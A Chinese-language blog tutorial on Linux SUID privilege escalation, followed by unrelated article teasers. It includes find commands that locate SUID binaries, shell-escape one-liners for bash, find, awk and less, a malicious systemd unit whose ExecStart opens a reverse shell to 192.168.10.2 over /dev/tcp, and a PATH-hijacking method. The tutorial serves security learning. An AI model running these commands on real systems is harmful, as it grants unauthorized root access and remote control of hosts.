Linux SUID提权

server/2025/1/15 7:54:59/

文章目录

  • 1. SUID/SGID
  • 2. 查找SUID文件
  • 3. SUID/SGID提权
    • 3.1 SUID配置不当
    • 3.2 SUID systemctl提权
    • 3.3 $PATH变量劫持
  • 参考

1. SUID/SGID

SUID(Set User ID)意味着如果某个用户对属于自己的文件设置了这种权限,那么其他用户在执行这一脚本时也会具有其属主的相应权限。那么如果root用户的某一个脚本/可执行程序设置了这样的权限,其他普通用户在执行它的期间也同样具有root用户的权限。同样的原则也适用于SGID,执行相应脚本的用户将具有该文件所属用户组中用户的权限。

SUID特殊权限只适用于可执行文件。当用户执行此类型文件时,操作系统会暂时将当前用户的UID切换为文件所有者的UID。当文件执行结束后,身份的切换随之结束。

举个例子,用户想修改自己的密码,可以使用passwd 用户名,passwd可执行文件位于/usr/bin/下。我们知道,用户的密码信息保存在/etc/shadow文件中,那么passwd的原理其实就是修改shadow文件。
在这里插入图片描述

可以看到,该文件为root用户所有,并设置了仅root用户有 w(写)权限。那么,其他普通用户按理说是修改不了该文件,为什么普通用户可以使用passwd命令直接修改shadow文件?我们再看下面的passwd命令,执行权限x变成了s,这是因为设置了SUID权限,其他用户调用执行passwd时,操作系统会使用该文件所有者的的身份(root)去执行,故而可以修改shadow文件。如果取消passwd的SUID权限,你可尝试一下,普通用户修改密码会失败。

chmod u+s filename	-->>设置SUID权限
chmod u+s filename	-->>取消SUID权限

2. 查找SUID文件

以下命令皆可查找配置了SUID特殊权限的文件

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

3. SUID/SGID提权

root用户设置了SUID的可执行文件,其他用户调用时也是以root权限运行,如果这些可执行文件本身又可以调用其他可执行文件,或者可以更改系统的一些配置选项,就可以达到提权的目的。

3.1 SUID配置不当

可以直接调用命令的命令,直接可以用于提权。

路径提权命令路径提权命令
/usr/bin/bashbash-p/usr/bin/findfind /etc/passwd -exec bash -p
/usr/bin/cshcsh -p/usr/bin/awkawk ‘BEGIN {system(“/bin/bash”)}’
/usr/bin/shsh -p/usr/bin/man!/bin/bash
/usr/bin/kshksh -p/usr/bin/more!/bin/bash
/usr/bin/zshzsh -p/usr/bin/less!/bin/bash

还可以参考一下这篇文章:SUID Executables

3.2 SUID systemctl提权

systemctl是用于管理Systemd的命令行工具。systemd是CentOS7之后Linux启动的第一个进程,用于管理系统和服务。当systemctl被配置SUID权限时,可以通过创建service unit文件实现提权。原理也是通过systemctl的root权限调用service unit来执行程序,该程序继承systemctl的root权限达到提权目的。

默认情况下,systemctl命令是加载/usr/lib/systemd/system/目录(统预定义的unit文件)和/etc/systemd/system目录(用户定义的unit文件),不过通常测试人员获取的低权限账号是不具备这两个目录的写入权限的。将unit文件放在/dev/shm(Linux中的共享内存文件系统)目录,该目录下的unit文件可以被systemctl正常加载且任意用户可写。

  1. 将代码写入exp.service文件
[Unit]
Description=I am hacker[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > dev/tcp/192.168.10.2/12345 0>&1 2<&1"[Install]
WantedBy=multi-user.target
  1. 执行以下命令,复制unit文件到/dev/shm目录并使用systemctl加载
cp /tmp/exp.service /dev/shm				#复制文件
systemctl link /dev/shm/exp.service			#设置链接
systemctl eable --now /dev/shm/exp.service	#启动服务

3.3 $PATH变量劫持

在shell中输入字符串后可以解析执行,是因为这些字符串对应着环境变量中的同名可执行文件。环境变量就是一个记录,记录着shell应该从哪些目录中寻找可执行文件。当我们输入ls并回车,系统会按照$PATH变量中的路径依次查找,执行最先找到的命令文件。如果有一个root用户设置了SUID权限的可执行文件其后不能直接跟一个命令,或者说不能由用户传参去调用另一个可执行文件,但是其本身又调用了系统中的一个可执行文件,我们可以通过替换这个被调用的可执行文件,达到提权的目的。换句话说,通过覆盖环境变量,让我们植入的文件被优先找到执行即可。
在这里插入图片描述

那么,只要在/tmp中添加一个同名程序即可被调用,也就达到提权目的。

参考

[1] 《Linux与Unix Shell 编程指南》
[2] 《权限提升技术-攻防实战与技巧》
[3] 【小迪安全】红蓝对抗 | 网络攻防 | V2022全栈培训
[4] systemd官网
[5] systemd和服务管理


http://www.ppmy.cn/server/158491.html

相关文章

蓝桥杯历届真题 #分布式队列 (Java,C++)

文章目录 题目解读[蓝桥杯 2024 省 Java B] 分布式队列题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 提示 思路完整代码 题目解读 题目链接 [蓝桥杯 2024 省 Java B] 分布式队列 题目描述 小蓝最近学习了一种神奇的队列&#xff1a;分布式队列。简单来说&#x…

android wifi framework与wpa_supplicant的交互

android frmework直接与wpa_supplicant进行交互&#xff0c;使用aidl或者hidl 二、事件 framework注册事件的地方&#xff1a; packages/modules/Wifi/service/java/com/android/server/wifi/SupplicantStaIfaceCallbackImpl.java class SupplicantStaIfaceCallbackImpl exte…

redis缓存篇知识点总结

1.缓存雪崩 当大量缓存数据在同一时间过期(失效)或者 Redis 故障宕机时,如果此时有大量的用户请求,都无法在 Redis 中处理,于是全部请求都直接访问数据库,从而导致数据库的压力骤增,严重的会造成数据库宕机,从而形成一系列连锁反应,造成整个系统崩溃 发生缓存雪崩有两…

STM32-PWR电源控制

1.0 定义 PWR&#xff08;Power Control&#xff09;电源控制 PWR负责管理STM32内部的电源供电部分&#xff0c;可以实现可编程电压监测器和低功耗模式的功能 可编程电压监测器&#xff08;PVD&#xff09;可以监控VDD电源电压&#xff0c;当VDD下降到PVD阀值以下或上升到PVD阀…

【面试题】技术场景 4、负责项目时遇到的棘手问题及解决方法

工作经验一年以上程序员必问问题 面试题概述 问题为在负责项目时遇到的棘手问题及解决方法&#xff0c;主要考察开发经验与技术水平&#xff0c;回答不佳会影响面试印象。提供四个回答方向&#xff0c;准备其中一个方向即可。 1、设计模式应用方向 以登录为例&#xff0c;未…

数据结构------树

前言&#xff1a;前面我们学习了栈和队列。今天我们来学习一种新的数据结构---------树。 首先我们来了解一下树的概念。 1.树的概念与结构 前面我们学习过的顺序表&#xff0c;栈都是一种顺序结构。链表&#xff0c;队列是链式结构。今天学习的树也是一种链式结构。它是由n…

面向对象分析与设计Python版 面向对象设计方法

文章目录 前言一、职责驱动设计二、职责驱动设计-案例 前言 面向对象设计目标&#xff1a;在面向对象分析建立的领域模型的基础上&#xff0c;定义对象操作&#xff08;职责&#xff09;。为对象分配职责的方法有&#xff1a; 职责驱动设计遵循GRASP设计原则&#xff08;Gene…

面试题:Java中并发并行串行的区别

在 Java 中&#xff0c;并发、并行和串行是三个常见的概念&#xff0c;它们描述了程序中任务执行的不同方式。虽然它们之间存在某些相似之处&#xff0c;但它们的实现和用途有显著的区别。 1. 串行 (Serial) 串行是指任务按照顺序一个接一个地执行&#xff0c;前一个任务完成…